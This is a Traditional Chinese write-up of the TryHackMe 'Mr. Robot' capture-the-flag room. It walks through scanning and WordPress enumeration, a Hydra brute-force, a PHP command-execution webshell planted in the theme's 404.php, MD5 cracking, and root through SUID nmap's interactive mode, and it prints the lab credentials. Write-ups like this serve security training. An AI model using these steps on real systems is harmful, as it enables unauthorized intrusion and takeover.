3 min read

TryHackMe Mr. Robot writeup (zh-TW)

TryHackMe Mr. Robot writeup (zh-TW)

題目資訊

發現服務

rustscan -a 10.201.110.68 -b 2000 -t 2000 -- -A -sV -sC
  • Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
  • Port 80: HTTP (Apache)
  • Port 443: HTTPS (Apache)

Step 1: 目錄枚舉&初步偵察

檢查 robots.txt:

curl http://10.201.110.68/robots.txt

重要發現:

  • key-1-of-3.txt - 第一把 key
  • fsocity.dic - 字典檔案(下載備用)
wget http://10.201.110.68/fsocity.dic

發現隱藏管理頁面和 WordPress:

gobuster dir -u http://10.201.110.68/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5

/admin/index.html - ASCII art "YOU ARE NOT ALONE" 這其實就是首頁的樣子
/wp-login.php - WordPress 登入頁面

Step 3: WordPress 偵察

使用 WPScan 掃描:

wpscan --url http://10.201.110.68

發現:

  • WordPress 4.3.1 (Insecure, 2015-09-15)
  • Theme: twentyfifteen 1.3
  • XML-RPC 啟用

Step 4: 枚舉 WordPress 用戶

清理字典檔(去除重複):

sort fsocity.dic | uniq > fsocity_clean.dic

使用 Burp Suite Intruder 測試用戶名,觀察錯誤訊息差異:

  • Invalid username - 用戶不存在
  • The password you entered for... - 用戶存在

發現有效用戶名:elliot

Step 5: 爆破 WordPress 密碼

使用 Burp Suite Intruder同樣用同一個字典fsocity_clean.dic爆破密碼
或也可以,使用 Hydra 爆破密碼:

hydra -l elliot -P fsocity_clean.dic 10.201.110.68 http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 30

成功憑證:

  • 用戶名: elliot
  • 密碼: ER28-0652

Step 6: WordPress 後台植入 Webshell

登入 WordPress 後台,修改主題編輯器:

Appearance → Editor → 404.php

植入 PHP reverse shell:

<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>

隨機到網站的一個頁面觸發404,好比aaa,詳細比如:

http://10.201.110.68/aaa?cmd=ls

http://10.201.110.68/aaa?cmd=whoami

成功取得 www-data shell

Step 7: 發現第二把 Key

探索 /home/robot 目錄:

www-data@ip-10-201-110-68:~$ ls -la /home/robot
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

讀取 MD5 hash:

www-data@ip-10-201-110-68:~$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Step 8: 破解 MD5

直接在Google查詢這個hash
破解結果:abcdefghijklmnopqrstuvwxyz (簡單密碼)

Step 9: 切換到 robot 用戶

使用 SSH 登入:

ssh [email protected]
# 密碼: [破解的明文密碼]

升級受限 shell:

/bin/bash

取得第二把 key:

robot@ip-10-201-110-68:~$ cat key-2-of-3.txt
Redacted

Step 10: 提權到 Root

尋找 SUID 二進制文件:

find / -perm -4000 -type f 2>/dev/null

發現可疑項目:/usr/local/bin/nmap

Step 11: Nmap SUID 提權

利用舊版 nmap 的 interactive 模式:

robot@ip-10-201-110-68:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

取得第三把 key:

root@ip-10-201-110-68:/root# cat key-3-of-3.txt
Redacted

技術要點

字典檔去重

    • fsocity.dic 含大量重複項,去重降至 11K 行
    • 大幅提升爆破效率

WordPress 錯誤訊息差異

    • 利用登入錯誤訊息差異枚舉有效用戶名
    • 避免盲目爆破所有帳密組合

Theme Editor RCE

    • WordPress 管理員可直接編輯主題 PHP 文件
    • 404.php 是常見注入點,訪問不存在頁面即可觸發

Nmap Interactive Mode 提權

    • Nmap 3.81 版本支援 --interactive 模式
    • 若有 SUID 權限,可直接用 !sh 產生 root shell
    • 現代版本已移除此功能